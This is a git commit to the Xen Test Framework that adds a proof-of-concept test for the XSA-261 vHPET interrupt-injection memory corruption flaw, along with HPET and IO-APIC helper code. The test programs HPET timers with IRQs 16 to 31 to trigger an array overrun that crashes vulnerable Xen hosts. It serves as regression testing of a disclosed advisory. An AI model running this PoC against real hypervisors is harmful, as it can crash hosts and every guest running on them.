From: Roger Pau Monne Date: Wed, 2 May 2018 14:22:35 +0000 (+0100) Subject: XSA-261 PoC X-Git-Url: http://xenbits.xensource.com/gitweb?a=commitdiff_plain;h=cf77aa0ee894080cc962a503e0bfaccddd9463bd;p=people%2Fandrewcoop%2Fxen-test-framework.git XSA-261 PoC This requires adding some basic IO APIC and HPET functionality. Signed-off-by: Roger Pau Monné Reviewed-by: Andrew Cooper Compile fixes, misc cleanup and consistency improvements, and written documentation. Signed-off-by: Andrew Cooper --- diff --git a/arch/x86/hpet.c b/arch/x86/hpet.c index 906f780..8c18dac 100644 --- a/arch/x86/hpet.c +++ b/arch/x86/hpet.c @@ -10,6 +10,22 @@ #include +unsigned int hpet_nr_timers; + +union hpet_timer { + uint32_t raw; + struct { + uint8_t :1; + bool level :1; + bool enabled :1; + bool periodic :1; + uint8_t :4; + bool mode_32bit :1; + uint8_t irq :5; + uint32_t :18; + }; +}; + int hpet_init(void) { uint64_t id = hpet_read64(HPET_ID); @@ -24,9 +40,42 @@ int hpet_init(void) if ( period == 0 || period > HPET_ID_MAX_PERIOD ) return -ENODEV; + /* Get number of timers. */ + hpet_nr_timers = MASK_EXTR(id, HPET_ID_NUMBER_MASK) + 1; + return 0; } +void hpet_init_timer(unsigned int nr, unsigned int irq, uint64_t ticks, + bool level, bool periodic, bool mode32bit) +{ + uint64_t cfg; + union hpet_timer tm = {}; + + tm.level = level; + tm.enabled = true; + tm.periodic = periodic; + tm.mode_32bit = mode32bit; + tm.irq = irq; + + /* + * Disable interrupts and reset main counter. + * + * Note that this is a testing HPET implementation and ATM we only expect + * a single timer to be tested simultaneously. + */ + cfg = hpet_read64(HPET_CFG); + hpet_write64(HPET_CFG, cfg & ~HPET_CFG_ENABLE); + hpet_write64(HPET_COUNTER, 0); + + /* Configure timer and setup comparator. */ + hpet_write32(HPET_Tn_CFG(nr), tm.raw); + hpet_write64(HPET_Tn_CMP(nr), ticks); + + /* Enable main counter. */ + hpet_write64(HPET_CFG, cfg | HPET_CFG_ENABLE); +} + /* * Local variables: * mode: C diff --git a/arch/x86/include/arch/hpet.h b/arch/x86/include/arch/hpet.h index 1cd5d12..ea882ef 100644 --- a/arch/x86/include/arch/hpet.h +++ b/arch/x86/include/arch/hpet.h @@ -10,13 +10,27 @@ #define XTF_X86_HPET_H #include +#include #include #define HPET_ID 0x0 #define HPET_ID_MAX_PERIOD 0x05f5e100 +#define HPET_ID_NUMBER_MASK 0x1f00 + +#define HPET_CFG 0x010 +#define HPET_CFG_ENABLE 0x001 + +#define HPET_COUNTER 0x0f0 + +#define HPET_Tn_CFG(n) (0x100 + (n) * 0x20) + +#define HPET_Tn_CMP(n) (0x108 + (n) * 0x20) #define HPET_DEFAULT_BASE 0xfed00000 +/* Number of available HPET timers. */ +extern unsigned int hpet_nr_timers; + /** * Discover and initialise the HPET. May fail if there is no HPET. */ @@ -42,6 +56,32 @@ static inline void hpet_write64(unsigned int reg, uint64_t val) *(volatile uint64_t *)(_p(HPET_DEFAULT_BASE) + reg) = val; } +/** + * Fetch the HPET main counter register. + */ +static inline uint64_t hpet_read_counter(void) +{ + if ( IS_DEFINED(CONFIG_64BIT) ) + return hpet_read64(HPET_COUNTER); + else + { + uint32_t lo, hi; + + do { + hi = hpet_read32(HPET_COUNTER + 4); + lo = hpet_read32(HPET_COUNTER); + } while ( hi != hpet_read32(HPET_COUNTER + 4) ); + + return ((uint64_t)hi << 32) | lo; + } +} + +/** + * Setup and enable a specific HPET timer. + */ +void hpet_init_timer(unsigned int nr, unsigned int irq, uint64_t ticks, + bool level, bool periodic, bool mode32bit); + #endif /* !XTF_X86_HPET_H */ /* diff --git a/arch/x86/include/arch/io-apic.h b/arch/x86/include/arch/io-apic.h index 400445c..c5af169 100644 --- a/arch/x86/include/arch/io-apic.h +++ b/arch/x86/include/arch/io-apic.h @@ -20,6 +20,11 @@ /* IO-APIC registers. */ #define IOAPIC_ID 0x0 +#define IOAPIC_VERSION 0x1 +#define IOAPIC_MAXREDIR_MASK 0xff0000 + +#define IOAPIC_REDIR_ENTRY(e) (0x10 + (e) * 2) +#define IOAPIC_REDIR_MASK_SHIFT 16 #define IOAPIC_DEFAULT_BASE 0xfec00000 @@ -52,6 +57,11 @@ static inline void ioapic_write64(unsigned int reg, uint64_t val) ioapic_write32(reg + 1, val >> 32); } +/** + * Set the mask bit on a redirection entry. + */ +int ioapic_set_mask(unsigned int entry, bool mask); + #endif /* !XTF_X86_IO_APIC_H */ /* diff --git a/arch/x86/io-apic.c b/arch/x86/io-apic.c index 05aea34..401507f 100644 --- a/arch/x86/io-apic.c +++ b/arch/x86/io-apic.c @@ -10,6 +10,8 @@ #include +static unsigned int nr_entries; + int ioapic_init(void) { uint32_t id = ioapic_read32(IOAPIC_ID); @@ -18,6 +20,25 @@ int ioapic_init(void) if ( id == ~0u ) return -ENODEV; + nr_entries = MASK_EXTR(ioapic_read32(IOAPIC_VERSION), + IOAPIC_MAXREDIR_MASK) + 1; + + return 0; +} + +int ioapic_set_mask(unsigned int entry, bool mask) +{ + uint32_t redir; + + if ( entry >= nr_entries ) + return -EINVAL; + + redir = ioapic_read32(IOAPIC_REDIR_ENTRY(entry)); + redir &= ~(1u << IOAPIC_REDIR_MASK_SHIFT); + if ( mask ) + redir |= 1u << IOAPIC_REDIR_MASK_SHIFT; + ioapic_write32(IOAPIC_REDIR_ENTRY(entry), redir); + return 0; } diff --git a/docs/all-tests.dox b/docs/all-tests.dox index 8e7280b..f8a495a 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -118,6 +118,8 @@ guest breakout. @subpage test-xsa-260 - x86: mishandling of debug exceptions. +@subpage test-xsa-261 - vHPET interrupt injection memory corruption. + @section index-utility Utilities diff --git a/include/xtf/numbers.h b/include/xtf/numbers.h index 185d676..f5c73b7 100644 --- a/include/xtf/numbers.h +++ b/include/xtf/numbers.h @@ -37,6 +37,9 @@ */ #define IS_ALIGNED(val, align) (((val) & ((align) - 1)) == 0) +#define MASK_EXTR(v, m) (((v) & (m)) / ((m) & -(m))) +#define MASK_INSR(v, m) (((v) * ((m) & -(m))) & (m)) + #ifndef __ASSEMBLY__ /** diff --git a/tests/xsa-261/Makefile b/tests/xsa-261/Makefile new file mode 100644 index 0000000..e4f9fbf --- /dev/null +++ b/tests/xsa-261/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-261 +CATEGORY := xsa +TEST-ENVS := hvm64 + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-261/main.c b/tests/xsa-261/main.c new file mode 100644 index 0000000..9bfaa92 --- /dev/null +++ b/tests/xsa-261/main.c @@ -0,0 +1,64 @@ +/** + * @file tests/xsa-261/main.c + * @ref test-xsa-261 + * + * @page test-xsa-261 XSA-261 + * + * Advisory: [XSA-261](http://xenbits.xen.org/xsa/advisory-261.html) + * + * Before XSA-261, Xen didn't implement IO-APIC interrupt routing for HPET + * timers properly, and attempting to configure a IRQ above the legacy PIC + * range resulted in an array overrun. + * + * This test attempts to configure the non-legacy IRQs for each timer. If + * vulnerable, Xen will generally crash on the first IRQ attempt, but this + * does depend on the exact compiled layout of `struct domain`. If Xen hasn't + * crashed by the end of the loops, it is most likely not vulnerable. + * + * @see tests/xsa-261/main.c + */ +#include + +const char test_title[] = "XSA-261 PoC"; + +void test_main(void) +{ + unsigned int timer, irq; + + if ( hpet_init() || !hpet_nr_timers ) + return xtf_skip("Skip: No working HPET\n"); + + if ( ioapic_init() ) + return xtf_skip("Skip: No working IO-APIC\n"); + + /* + * Attempt to test all timers using non-ISA IRQs, regardless of whether + * the timer supports them or not. + */ + for ( timer = 0; timer < hpet_nr_timers; timer++ ) + { + for ( irq = 16; irq < 32; irq++ ) + { + if ( ioapic_set_mask(irq, false) ) + return xtf_error("Error: cannot unmask IRQ %u on the IO APIC\n", + irq); + + hpet_init_timer(timer, irq, 1, false, false, false); + + while ( hpet_read_counter() < 1 ); + } + } + + /* Xen still hasn't crashed? Most likely not vulnerable. */ + xtf_success("Success: Probably not vulnerable to XSA-261\n"); +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */